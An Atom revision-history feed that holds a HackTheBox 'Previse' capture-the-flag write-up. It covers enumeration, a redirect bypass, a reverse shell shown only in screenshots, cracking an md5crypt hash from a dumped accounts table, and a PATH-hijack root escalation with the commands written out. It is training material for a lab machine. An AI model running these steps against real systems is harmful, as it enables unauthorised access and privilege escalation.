<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FPrevise</id>
	<title>Write-ups/HTB/Previse - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FPrevise"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Previse&amp;action=history"/>
	<updated>2026-04-21T15:10:31Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Previse&amp;diff=1145&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 09:40, 7 September 2021</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Previse&amp;diff=1145&amp;oldid=prev"/>
		<updated>2021-09-07T09:40:19Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Previse&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = IDOR, Command Injection&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So this CTF is categorized as easy, but I would actually say that getting foothold was pretty hard. Once inside, its pretty straight forward enumeration and lateral movement if you&amp;#039;ve done enough information gathering.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Anyway, as always I like to start with an nmap scan to see what we&amp;#039;re working with.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Nmap 7.92 scan initiated Sun Aug 29 19:30:42 2021 as: nmap -sC -sV -oN nmap.result 10.10.11.104&lt;br /&gt;
Nmap scan report for 10.10.11.104&lt;br /&gt;
Host is up (0.032s latency).&lt;br /&gt;
Not shown: 998 closed tcp ports (conn-refused)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)&lt;br /&gt;
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)&lt;br /&gt;
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)&lt;br /&gt;
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))&lt;br /&gt;
| http-cookie-flags:&lt;br /&gt;
|   /:&lt;br /&gt;
|     PHPSESSID:&lt;br /&gt;
|_      httponly flag not set&lt;br /&gt;
| http-title: Previse Login&lt;br /&gt;
|_Requested resource was login.php&lt;br /&gt;
|_http-server-header: Apache/2.4.29 (Ubuntu)&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
# Nmap done at Sun Aug 29 19:30:50 2021 -- 1 IP address (1 host up) scanned in 8.53 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So port 80 and 22 is open. Navigating to the webserver, we&amp;#039;re prompted with a login page.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From here, I&amp;#039;ll look for hidde directories. I&amp;#039;ve normally used gobuster for this, but I found a good tool called [https://github.com/epi052/feroxbuster feroxbuster] which is pretty awesome. It allows us to choose recursive depth.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌─[✗]─[root@ValgPC-0]─[/home/aghanim/Desktop/toolbox]&lt;br /&gt;
└──╼ #./feroxbuster --url http://10.10.11.104 --depth 0 --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php&lt;br /&gt;
&lt;br /&gt;
 ___  ___  __   __     __      __         __   ___&lt;br /&gt;
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__&lt;br /&gt;
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___&lt;br /&gt;
by Ben &amp;quot;epi&amp;quot; Risher 🤓                 ver: 2.3.2&lt;br /&gt;
───────────────────────────┬──────────────────────&lt;br /&gt;
 🎯  Target Url            │ http://10.10.11.104&lt;br /&gt;
 🚀  Threads               │ 50&lt;br /&gt;
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-1.0.txt&lt;br /&gt;
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]&lt;br /&gt;
 💥  Timeout (secs)        │ 7&lt;br /&gt;
 🦡  User-Agent            │ feroxbuster/2.3.2&lt;br /&gt;
 💲  Extensions            │ [php]&lt;br /&gt;
 🔃  Recursion Depth       │ INFINITE&lt;br /&gt;
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest&lt;br /&gt;
───────────────────────────┴──────────────────────&lt;br /&gt;
 🏁  Press [ENTER] to use the Scan Cancel Menu™&lt;br /&gt;
──────────────────────────────────────────────────&lt;br /&gt;
200       31l       60w     1248c http://10.10.11.104/nav.php&lt;br /&gt;
200        5l       14w      217c http://10.10.11.104/footer.php&lt;br /&gt;
302       71l      164w     2801c http://10.10.11.104/index.php&lt;br /&gt;
302        0l        0w        0c http://10.10.11.104/download.php&lt;br /&gt;
200       20l       64w      980c http://10.10.11.104/header.php&lt;br /&gt;
302      148l      371w     7240c http://10.10.11.104/files.php&lt;br /&gt;
200       53l      138w     2224c http://10.10.11.104/login.php&lt;br /&gt;
200        0l        0w        0c http://10.10.11.104/config.php&lt;br /&gt;
302       93l      238w     3994c http://10.10.11.104/accounts.php&lt;br /&gt;
302       74l      176w     2970c http://10.10.11.104/status.php&lt;br /&gt;
301        9l       28w      310c http://10.10.11.104/css&lt;br /&gt;
301        9l       28w      309c http://10.10.11.104/js&lt;br /&gt;
302        0l        0w        0c http://10.10.11.104/logout.php&lt;br /&gt;
302       71l      164w     2801c http://10.10.11.104/&lt;br /&gt;
403        9l       28w      277c http://10.10.11.104/.php&lt;br /&gt;
302        0l        0w        0c http://10.10.11.104/logs.php&lt;br /&gt;
[####################] - 4m    850164/850164  0s      found:16      errors:0&lt;br /&gt;
[####################] - 3m    283388/283388  1270/s  http://10.10.11.104&lt;br /&gt;
[####################] - 3m    283388/283388  1257/s  http://10.10.11.104/css&lt;br /&gt;
[####################] - 3m    283388/283388  1259/s  http://10.10.11.104/js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So alot of intereseting directories. I&amp;#039;ll admit, I first tried to see if there was en local file inclusion vulnerability in config.php but that was a dead end. Figured that out after a couple of hours.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Anyway, so turning to my favorite web application vulnerability tool, burpsuite, I&amp;#039;ll intercept some request and see what I find. To spare you of all the time I&amp;#039;ve spent enumerating, we&amp;#039;ll jump to the answers. Navigating to /nav.php there is an option for creating a user. Clicking that link redirect you back to the login page. In reality, there is a bug where you can change the HTTP status code to 200 OK and get the page.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what we&amp;#039;ve done is intercepting the response, changing the HTTP status code from 302 to 200 and we&amp;#039;re presented with a page that allows us to create an account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Inside the website we are presented with this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enumerating the website we find a file called SITEBACKUP.ZIP, which we downloaded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The intereseting take from all those files was the config.php, the file I tried to use LFI on which didnt work. Inside that file is the MySQL credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We&amp;#039;ll save that for later.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next, we&amp;#039;ll try to get a reverse shell. In website, we&amp;#039;re able to upload files. So of course I try to upload a php reverse shell, but as it turns out, there is no way to execute it on the website so that was a dead end. To get a reverse shell, was very tricky. Using burpsuite, we have to intercept REQUEST LOG DATA and add a reverse shell in the request we send to the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Send this POST request, while netcat listens on port 4444 gives us a reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We stabilize the reverse shell with python, so we can create an interactive shell to be able to talk to MySQL. Having a non-interactive shell, its not possbile to &amp;#039;&amp;#039;interact &amp;#039;&amp;#039;with MySQL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
python -c &amp;#039;import pty;pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#039;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Logging into MySQL we can extract the account info with password hash with salt for user m4lwhere. The user.txt file is in m4lwheres home directory, which is why we will have to crack his password to open the user.txt file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
mysql&amp;gt; select * from accounts;&lt;br /&gt;
select * from accounts;&lt;br /&gt;
+----+----------+------------------------------------+---------------------+&lt;br /&gt;
| id | username | password                           | created_at          |&lt;br /&gt;
+----+----------+------------------------------------+---------------------+&lt;br /&gt;
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |&lt;br /&gt;
|  2 | Test99   | $1$🧂llol$yttO4pjhP8x08DQkCHLHA0 | 2021-09-06 15:56:24 |&lt;br /&gt;
|  3 | bouba    | $1$🧂llol$ohg/X7LWFOCE.xKgo2oeF. | 2021-09-06 15:57:30 |&lt;br /&gt;
|  4 | deneme   | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-09-06 16:07:46 |&lt;br /&gt;
|  5 | test1234 | $1$🧂llol$aLZZSO/HJpNblx60oCbyl0 | 2021-09-06 17:50:35 |&lt;br /&gt;
|  6 | Antoine  | $1$🧂llol$V3rOtBmAyaOluecPqAdJT0 | 2021-09-06 19:47:31 |&lt;br /&gt;
|  7 | admin    | $1$🧂llol$DJ6ZVzF0zBGjTIV/GTvOf/ | 2021-09-06 19:54:37 |&lt;br /&gt;
+----+----------+------------------------------------+---------------------+&lt;br /&gt;
7 rows in set (0.00 sec)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I tried using hashcat at first, but didnt get it to work, so I turned to john the ripper. First we have to identify what type of hash this is. From the hashcat example hash we find out this is is a md5crypt hash. Using john --format=list we can list allf of johns hash formats.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I spent some time here trying out different hashes, but the correct hash is &amp;#039;&amp;#039;&amp;#039;md5crypt-long&amp;#039;&amp;#039;&amp;#039;. Running that against rockyou.txt will crack the hash and we&amp;#039;ll get the password for m4lwhere.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌─[root@ValgPC-0]─[/home/aghanim/Desktop/previse]&lt;br /&gt;
└──╼ #john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt pass&lt;br /&gt;
Using default input encoding: UTF-8&lt;br /&gt;
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])&lt;br /&gt;
Will run 4 OpenMP threads&lt;br /&gt;
Press &amp;#039;q&amp;#039; or Ctrl-C to abort, almost any other key for status&lt;br /&gt;
0g 0:00:00:09 1.49% (ETA: 22:52:23) 0g/s 27979p/s 27979c/s 27979C/s 821987..820509&lt;br /&gt;
0g 0:00:00:19 3.21% (ETA: 22:52:12) 0g/s 28027p/s 28027c/s 28027C/s attucks..atletica&lt;br /&gt;
0g 0:00:00:22 3.71% (ETA: 22:52:14) 0g/s 27918p/s 27918c/s 27918C/s mithrill..mitch4eva&lt;br /&gt;
0g 0:00:01:45 16.78% (ETA: 22:52:46) 0g/s 25006p/s 25006c/s 25006C/s yas4rva..yas1994&lt;br /&gt;
0g 0:00:03:34 35.51% (ETA: 22:52:23) 0g/s 24459p/s 24459c/s 24459C/s nabil8493..nabil0925&lt;br /&gt;
ilovecody112235! (?)&lt;br /&gt;
1g 0:00:05:01 DONE (2021-09-06 22:47) 0.003317g/s 24591p/s 24591c/s 24591C/s ilovecodydean..ilovecody..&lt;br /&gt;
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably&lt;br /&gt;
Session completed&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So from here we can either SSH in to m4lwhere or just su - m4lwhere, and get the user.txt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first thing first, we&amp;#039;ll look at what kind of sudo commands this user can run.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m4lwhere@previse:~$ sudo -l&lt;br /&gt;
sudo -l&lt;br /&gt;
[sudo] password for m4lwhere:&lt;br /&gt;
&lt;br /&gt;
User m4lwhere may run the following commands on previse:&lt;br /&gt;
    (root) /opt/scripts/access_backup.sh&lt;br /&gt;
m4lwhere@previse:~$&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can run a script called access_backup.sh as root. Interesting. Cat&amp;#039;ing that file we can see that its a script for zipping logs and storing them sorted by date.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m4lwhere@previse:/opt/scripts$ cat access_backup.sh&lt;br /&gt;
cat access_backup.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
# We always make sure to store logs, we take security SERIOUSLY here&lt;br /&gt;
&lt;br /&gt;
# I know I shouldnt run this as root but I cant figure it out programmatically on my account&lt;br /&gt;
# This is configured to run with cron, added to sudo so I can run as needed - we&amp;#039;ll fix it later when there&amp;#039;s time&lt;br /&gt;
&lt;br /&gt;
gzip -c /var/log/apache2/access.log &amp;gt; /var/backups/$(date --date=&amp;quot;yesterday&amp;quot; +%Y%b%d)_access.gz&lt;br /&gt;
gzip -c /var/www/file_access.log &amp;gt; /var/backups/$(date --date=&amp;quot;yesterday&amp;quot; +%Y%b%d)_file_access.gz&lt;br /&gt;
m4lwhere@previse:/opt/scripts$&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what we&amp;#039;re going to do to get root is exploiting PATH variable. That means when we execute the script, it will run our own gzip custom executable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. cd to /tmp&lt;br /&gt;
2. echo &amp;quot;/bin/bash -i&amp;quot; &amp;gt; gzip&lt;br /&gt;
3. chmod +x gzip&lt;br /&gt;
4. export PATH=/tmp:$PATH&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at m4lwheres $PATH we can see that our /tmp is added.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m4lwhere@previse:/tmp$ echo $PATH&lt;br /&gt;
echo $PATH&lt;br /&gt;
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, running the script as sudo again will give us a root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ok for some reason, I couldnt output any commands. I dont know if I did anything wrong, or what, but I know that I was root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@previse:/tmp# whoami&lt;br /&gt;
whoami&lt;br /&gt;
&lt;br /&gt;
root@previse:/root# cat root.txt&lt;br /&gt;
root.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In order to read the root.txt I just started a simple HTTP server on the target, and downloaded it on my attacking machine. Probably not the right way, but it worked nonetheless.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2021-09-image-10.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
All in all, pretty fun box. Even though it was hard to get foothold and the problem with root user not outputting commands.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>